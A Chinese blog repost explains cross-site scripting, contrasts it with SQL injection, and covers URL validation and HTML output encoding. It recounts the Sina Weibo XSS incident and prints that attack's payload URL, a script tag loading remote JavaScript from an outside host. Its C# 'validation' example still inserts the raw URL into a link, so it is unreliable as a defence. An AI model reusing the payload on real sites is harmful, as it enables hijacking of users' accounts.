学习了 http://www.oschina.net/question/565065_57506

(这里做了转载 http://blog.csdn.net/stilling2006/article/details/8526498)

Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。

SQL Injection是把恶意的代码注入的数据库并且执行该SQL语句,最后返回相应数据,所以SQL Injection是作用于数据库的,

而XSS是通过发送恶意的代码到服务,让服务器把恶意代码发送到其他用户浏览器中,最后劫持用户浏览器,所以XSS是作用于用户的。

XSS主要攻击方式有两种:

一种就像SQL Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进行很多操作。
比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。 另一类则是来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,
我们自己构造一个跨站网页放在自己的服务器上,
然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
这一类攻击的威胁相对较低,至少Ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

通过上面的示意例子我们发现XSS攻击和SQL Injection存在着相同点,它们是通过注恶意代码进行攻击的,不同点是它们攻击对象不尽相同。

XSS是通过注入恶意代码,如:JavaScript, VBScript, ActiveX, HTML, 或 Flash等来劫持用户浏览器,进而通过构造恶意的URL。

构造恶意Url的意思是:

很多网站页面元素拼接是由url参数来组成的。

如果恶意篡改参数,会将一些script也混在页面中发给用户。用户打开时,这些js脚本就运行了。

可以改了url之后,把这些url发给用户,让用户点击。用户看到host是大网站就没有提高警惕,却误让这些js脚本得到执行了。

下面这段JS可以实现URL的校验:

var url = Request.QueryString["url"];
if (!string.IsNullOrEmpty(url))
{
this.litLeavingTag.Text =
Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ?
string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";
}

上面这个正则,我也有有一点,没看到,尤其是为什么需要两个"(?:"。关于正则语法和学习,参考我另外一个转载的文章:

http://www.cnblogs.com/charlesblc/p/5990322.html

HTML编码输出:

另一种必不可少的XSS防御策略是输出编码方式,它通过确保在一个字符串中的每个字符都以正确的形式呈现。例如,为了在浏览器中正确地呈现“<”,“>”或空格等文本时,
我们需要对其进行编码处理,否则浏览器将根据这些特性文本去执行其功能,而不是正确的呈现在页面上。 我们常见的HTML编码有:&nbsp;,&lt;,&gt;和&quot; 等等。

非HTML编码输出:

当我们把HTML编码后的文本通过消息提示框显示时,文本还是以编码后的形式显示没有进行解码处理,但用户一看到他们的第一反应就是说我们的程序出现乱码有问题,
其实我们心知只是还没有进行解码处理而已,所以在一些非HTML编码中我们还要先进行解码处理

新浪微博XSS攻击事件

 想必大家对新浪微博XSS攻击事件记忆犹新吧!它利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,
然后通过http://163.fm/PxZHoxn短链接服务,将链接指向: ">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script> link:http://weibo.com/pub/star/%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E URL编码后显示: http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 通过上面的例子大家发现其实上面的XSS攻击也并不是那么神秘。

总结

XSS攻击作为Web业务的最大威胁之一,它犯下了种种罪行例如新浪微博的XSS攻击事件,不仅危害Web业务本身,对访问Web业务的用户也会带来直接的影响,
如何防御和阻止XSS攻击,保障Web站点的业务安全,这个重担有落到每一位开发者的身上了。

网络攻击之二:XSS(之一是SQL注入,前面有文章)的更多相关文章

  1. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  2. mybatis 学习笔记(二):mybatis SQL注入问题

    mybatis 学习笔记(二):mybatis SQL注入问题 SQL 注入攻击 首先了解下概念,什么叫SQL 注入: SQL注入攻击,简称SQL攻击或注入攻击,是发生于应用程序之数据库层的安全漏洞. ...

  3. egg 阻止 sql 注入,相关文章

    egg 阻止 sql 注入,相关文章 网址 注意!!我们极其不建议开发者拼接 sql 语句,这样很容易引起 sql 注入!!如果必须要自己拼接 sql 语句,请使用 mysql.escape 方法. ...

  4. addslashes,htmlspecialchars,htmlentities转换或者转义php特殊字符防止xss攻击以及sql注入

    一.转义或者转换的目的 1. 转义或者转换字符串防止sql注入 2. 转义或者转换字符防止html非过滤引起页面布局变化 3. 转义或者转换可以阻止javascript等脚本的xss攻击,避免出现类似 ...

  5. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. mysql进阶(二十四)防御SQL注入的方法总结

    防御SQL注入的方法总结 这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下. SQL注入是一类危害极大的攻击形式.虽然危害很大,但是防御却 ...

  8. 过滤xss攻击和sql注入函数

    /**+----------------------------------------------------------* The goal of this function is to be a ...

  9. 【转载】XSS攻击和sql注入

    XSS攻击: https://www.cnblogs.com/dolphinX/p/3391351.html 跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻 ...

  10. 一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持

    目录 XSS 攻击 SQL 注入 CSRF 攻击 DDOS 攻击 DNS 劫持 XSS 攻击 全称跨站脚本攻击 Cross Site Scripting 为了与重叠样式表 CSS 进行区分,所以换了另 ...

随机推荐

  1. std::function,std::bind复习

    #include <iostream> #include <functional>//std::bind返回函数对象 void fun1(int a, int b) { std ...

  2. Science:给青年科研工作者的忠告

  3. 2014_GCJ_A

    题目链接:http://code.google.com/codejam/contest/2984486/dashboard#s=p0 最想吐槽的是想些DFS过小数据,居然写不出来,不知道我这半年的AC ...

  4. 15 个最佳的 jQuery 表格插件

    现如今,网站开发设计的需求会要求自动适应所有移动设备,即响应式网站: 在开发网站时必须考虑对平板设备融合 fluid(流)和自适应性特点. 大多数网站设计要靠margins, guides, rows ...

  5. HTTP报头详解

    HTTP头字段包括4类:      general-header ; 通用报头      request-header ; 请求报头      response-header ; 响应报头      ...

  6. C# 对委托的BeginInvoke,EndInvoke 及Control 的BeginInvoke,EndInvoke 的理解

    using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...

  7. vi/vim使用指北 ---- Beyond the Basic

    更多的组合命令 [number]-[command]-[test object] number:   数字 comand:  c,d,y  (修改,删除,复制) test object: 移动光标的命 ...

  8. (10)nehe教程4--旋转

    旋转: 在这一课里,我将教会你如何旋转三角形和四边形.左图中的三角形沿Y轴旋转,四边形沿着X轴旋转. 上一课中我教给您三角形和四边形的着色.这一课我将教您如何将这些彩色对象绕着坐标轴旋转.其实只需在上 ...

  9. JAVA IO 体系

    一.体系结构

  10. C#反射技术的相关使用方法

    1.获取同一程序集的类型实例 无参数构造函数 Type t=Type.GetType("AppCode.Employee"); object emp=t.Assembly.Crea ...